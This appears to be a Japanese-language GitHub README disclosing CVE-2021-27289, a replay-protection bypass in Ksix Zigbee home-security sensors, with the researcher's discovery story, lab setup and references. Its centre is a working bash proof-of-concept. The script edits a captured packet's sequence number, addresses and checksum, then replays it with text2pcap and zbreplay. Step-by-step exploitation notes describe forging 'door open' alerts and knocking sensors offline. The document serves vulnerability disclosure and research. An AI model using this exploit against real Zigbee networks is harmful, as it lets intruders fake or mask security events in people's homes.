themalwareguardian/cve-2021-27289CVE-2021-27289: Ksix Zigbeeデバイスにおける再生保護バイパス
皆さん、こんにちは。
プロらしいやり方としては、このリポジトリのタイトルをまさに今のまま – 明確で説明的で、要点を突いたもの – にするのが正解だったと思います。しかし、まとめているときに、他にもいくつかのタイトルが頭に浮かびました。例えば以下のようなものです：
ともあれ、ここに物語があります。
新しい脆弱性を開示する準備をしていたとき、何年も前に取り組んだ仕事を思い出しました – 最終学位プロジェクトで Thread や Zigbee といった IoT プロトコルを研究しているときに見つけたバグです。当時、MITRE に報告書を送りましたが、返事はなく、単に無視されたのだろうと思っていました。
ふと好奇心から、提出に使った昔の Gmail アカウントにログインしてみました…すると驚いたことに、2023年 – 3年後 – に実際に CVE が割り当てられているのを見つけました。
CVE-2021-27289、学生時代に報告した脆弱性に関連付けられたものです。
なぜこんなに時間がかかったのでしょうか？最初にベンダーに連絡したとき、彼らは修正するだけの人員がいないと言い、その言い訳を繰り返していました。私は MITRE に対し、誰もそれに対処しているようには見えないと伝えました。おそらく彼らは待っていたのでしょう – 結局この問題はパッチが当てられることは決してなかったからです。
このバグは Ksix が製造したいくつかの Zigbee ベースの IoT デバイスに影響を与えました。核心的な問題は、Zigbee 仕様で定義されフレームカウンタによって強制される再生保護メカニズムが適切に実装されていなかったことです。
デバイスがフレームカウンタを正しくチェックしなかったため、攻撃者はネットワークと通信し、シーケンス番号をデバイスが最後に認識した値よりも高い値に増やすだけでパケットを偽装できました。これにより、キャプチャしたメッセージを再生し、有効なものとして受け入れさせることが可能になり、結果として認証バイパスが発生しました。
このリポジトリには、最終プロジェクトで取り組んだすべてが含まれています：
Ksix Zigbee IoT デバイスは、Zigbee の再生保護メカニズムの不適切な実装に起因する再生攻撃の脆弱性の影響を受けます。
以下のバージョンでテストされ、脆弱であることが確認されました。それ以降のバージョンはテストしていないため、影響を受ける可能性もあります。
これらの製品はベンダーのウェブサイトや Amazon などのプラットフォームではもう入手できず、製造中止になったようです。
影響を受けるデバイスの Zigbee スタックは、Zigbee 仕様で定義されたフレームカウンタフィールドに依存する再生保護メカニズムを適切に強制しません。このフィールドは、受信したメッセージが新しいものであり、再生されたものではないことを保証するためのものです。
しかし、この実装ではフレームカウンタが無視されるか、正しく検証されません。その結果、攻撃者は正当な Zigbee パケットをキャプチャし、そのシーケンス番号をより高い値（例：250）に増やしてネットワークに再送信することができます。
デバイスはシーケンス番号のみをチェックするため、メッセージを新しいものとして受け入れます – これにより、認証や暗号化を破ることなく、偽装された通信と不正な操作が可能になります。
デバイスの種類と環境への統合方法によっては、これにより、ユーザーがネットワークを設定するために使用した元のアプリに、偽のアラートやセンサー状態（例：動体検知、ドア開放）が表示される可能性があります – 実際には何も起こっていないにもかかわらずです。より複雑なセットアップでは、偽装されたデータに基づいて自動化ワークフローが不安定になったり、意図しない動作が引き起こされたりする可能性もあります。
これらのデバイスは通常、Tuya Smart などのアプリを使って設定され、センサーがトリガーされると（例えばドアが開いたり動体を検知したりすると）リアルタイムでユーザーに通知します。これにより、物理的なイベントが決して発生しなかったとしても、以下の攻撃が特に効果的になります。
この特定の再生脆弱性の直接的な影響は限定的ですが、プロトコルをより深く理解することで – 私が最終学位プロジェクトで探求したように – 最小限のリソースで実行可能な、より高度な攻撃シナリオが明らかになります。
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 デモ動画***
- [YouTube Video - CVE-2021-27289: Ksix Zigbeeデバイスへのリプレイ攻撃（概要＋旧デモ）]() - 近日公開予定。2020年に録画したオリジナルのデモを再アップロードします。今回は、環境設定、攻撃プロセスなどを説明するコメンタリーを追加します。
---
---
---
<div id='original-blog-post'/>
## ***📝 元のブログ記事***
元のブログ記事は2020年に、当時の私のメインの個人ウェブサイト（ああ、懐かしい😅）に公開されました。当時、私はMITREへのCVEリクエスト、Exploit-DBへの概念実証エクスプロイトの提出、そしてデモ動画の公開（現在は別のYouTubeアカウントに再アップロード）をサポートするために、技術的なレポートを共有しました。
以下に掲載されているのは、その元の投稿を少し再構成したものです。
<div id='original-blog-post-researcher'/>
### ***👤 研究者***
22歳のAlejandro Vázquez Vázquez。サイバーセキュリティを真剣に考え始めたばかりで、情熱をキャリアに変えつつある時期でした。
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Zigbeeの基礎***
Zigbeeに詳しくない方には、私の論文レポートやIEEE 802.15.4仕様書全体を読むことを期待していません。代わりに、プロトコルをしっかり理解するための優れたリソースを以下に紹介します：
- [Kudelski Security Research - ZigBeeセキュリティ：基礎（パート1）](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBeeセキュリティ：基礎（パート2）](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBeeセキュリティ：基礎（パート3）](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbeeセキュリティ101（アーキテクチャとセキュリティ問題）](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [香港コンピュータ緊急対応チーム調整センター（HKCERT） - デバイス（ZigBee）セキュリティ調査](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 背景と動機***
私の最終学位プロジェクトでは、大学ではやや型破りなテーマを選びました。アプリケーションを開発する代わりに、通信プロトコルの研究と分析に完全に集中しました。この道を選んだのは、当時重要だと考えていた分野、つまりIoTデバイスのセキュリティを探求できるからでした。
私の研究はZigbeeとThreadプロトコル、そしてその基盤であるIEEE 802.15.4に焦点を当てていました。十分な技術文書と学術研究をレビューした後、実際のデバイスを使った実践的なテストに移り、既知の脆弱性を再現・分析することを目指しました。
<div id='original-blog-post-early-experiments'/>
### ***🔍 初期実験***
テストはZigbeeモーションセンサーから始めました。デバイスが偽装された制御メッセージ、特にZigbee設定パラメータをリセットするために通常使用されるネットワークリアラインメントフレームにどのように反応するかを見たかったのです。ネットワークにそれを注入して再設定をシミュレートしたところ、うまくいきました。センサーはモバイルアプリ（ネットワーク設定に使用したもの）では「接続済み」と表示されていましたが、実際にはコーディネーターとの通信を失っており、手動でリセットする必要がありました。これにより、デバイスが特定のパケットを強力な検証なしに受け入れていることがわかりました。
この結果に勇気づけられ、リプレイ攻撃に移りました。スニファーを使用して、ドアセンサーからの標準的なZigbeeメッセージ（「ドア開」「ドア閉」など）をキャプチャしました。Zigbeeネットワークをリセットした後、これらのパケットを一切修正せずにリプレイしました。驚いたことに、モバイルアプリはまるでドアがちょうど開閉されたかのようにリアルタイムのアラートをトリガーしました。単に以前キャプチャしたメッセージをリプレイしているだけだったにもかかわらずです。
これにより、リプレイ攻撃を防ぐために設計された保護メカニズムが、これらのデバイスに実装されていないか、正しく機能していないことが確認されました。
<div id='original-blog-post-discovery'/>
### ***💥 発見***
この時点で、なぜ古いパケットのリプレイが機能するのかをより深く理解したいと思いました。Zigbeeはこの種の攻撃を防ぐために2つの重要なフィールドを定義しています。送信メッセージごとに増加するフレームカウンターと、重複を検出するのに役立つシーケンス番号です。
そこで、両方の実験を始めました。
まず、約50個の有効なパケットをキャプチャしてネットワークにリプレイしました。以前と同様にいくつかのアラートを受信しました。次に、フレームカウンターを変更し、各パケットで大幅に高い値に設定して再度試しました。今度は何も起こりませんでした。アラートはありません。これにより、何らかのチェックは行われているものの、一貫性がないのではないかと疑いました。
さらに深く掘り下げるために、Zigbeeネットワークを再びリセットし、フレームカウンターを変更する代わりにシーケンス番号に焦点を当てました。同じキャプチャしたメッセージをリプレイしましたが、パケットごとにシーケンス番号を徐々に増やし、通常のデバイスが行う動作をシミュレートしました。
成功しました。
モバイルアプリで再びアラートが表示され始めました。その時、デバイスが新しいパケットかどうかを判断するためにシーケンス番号のみに依存し、リプレイ攻撃を防ぐために明示的に設計されたフィールドであるフレームカウンターを完全に無視している可能性が高いことに気づきました。
この欠陥により、新しいシーケンス番号を持つパケットを送信し続ければ、偽のメッセージをネットワークに注入し続けることができ、デバイスはそれを正当なものとして受け入れるということでした。
そのため、実装の貧弱さ、あるいはコーディネーター（Zigbeeゲートウェイ）の処理能力の限界により、私は単にネットワークの無線範囲内にいるだけで、「ドア開」や「ドア閉」のような以前キャプチャしたメッセージをリプレイすることができました。これらの偽装されたイベントは、まるで現実に起こったかのようにモバイルアプリに表示されました。
<div id='original-blog-post-exploitation'/>
### ***🧨 悪用***
脆弱性の悪用は簡単です：
有効なZigbeeフレームをキャプチャし、シーケンス番号をより高い値に変更してリプレイします。受信デバイスはメッセージを受け入れ、ユーザーはアプリでリアルタイムのアラートを受け取り、実際のアクティビティがあったと信じます。
一部のテストでは、デバイスの通信を妨害することもでき、センサーがアプリ上で「オンライン」のままであるにもかかわらず応答しなくなる状態を引き起こしました。これは物理的なセキュリティシナリオでは危険になる可能性があります。
<div id='original-blog-post-lab-setup'/>
### ***🔬 ラボのセットアップ***
テストは2020年に、Ksix社製のZigbeeベースのIoTデバイスの小規模なラボを使用して実施されました。以下のモデルとファームウェアバージョンが当時脆弱であることが確認されました：
- Zigbeeゲートウェイモジュール – v1.0.3
- ゲートウェイメインモジュール – v1.1.2
- ドアセンサー – v1.0.7
- PIRモーションセンサー – v1.0.12
攻撃を実行しZigbeeトラフィックをキャプチャするために、私は以下を使用しました：
- APImote：IEEE 802.15.4ネットワーク用USBハードウェアスニファー
- KillerBeeフレームワーク：パケットのキャプチャ、注入、分析に使用
このセットアップにより、現実世界のインタラクションをシミュレートし、トラフィックフローを分析し、管理された環境でサービス拒否攻撃とリプレイ攻撃の両方のシナリオをテストすることができました。
<div id='original-blog-post-related-research'/>
### ***📚 関連研究***
ここからは、私の道を容易にしてくれたすべての研究者、そしてその出版物からこの種のIoTネットワークの最も一般的な攻撃ベクトルと脆弱性を学んだ研究者に感謝します：
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Zigbeeのセキュリティ分析.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBeeが悪用される：良い点、悪い点、醜い点.Magdeburger Journal zur Sicherheitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). IEEE 802.15.4 MACレイヤー攻撃に関する調査. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "IEEE 802.15.4 MACレイヤー攻撃について：GTS攻撃," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "IoTアプリケーション向けZigBeeデバイスに対する新しいリプレイ攻撃," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). ZigBeeセキュリティに対する3つの実践的攻撃：攻撃シナリオ定義、実践実験、対策、そして学んだ教訓.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)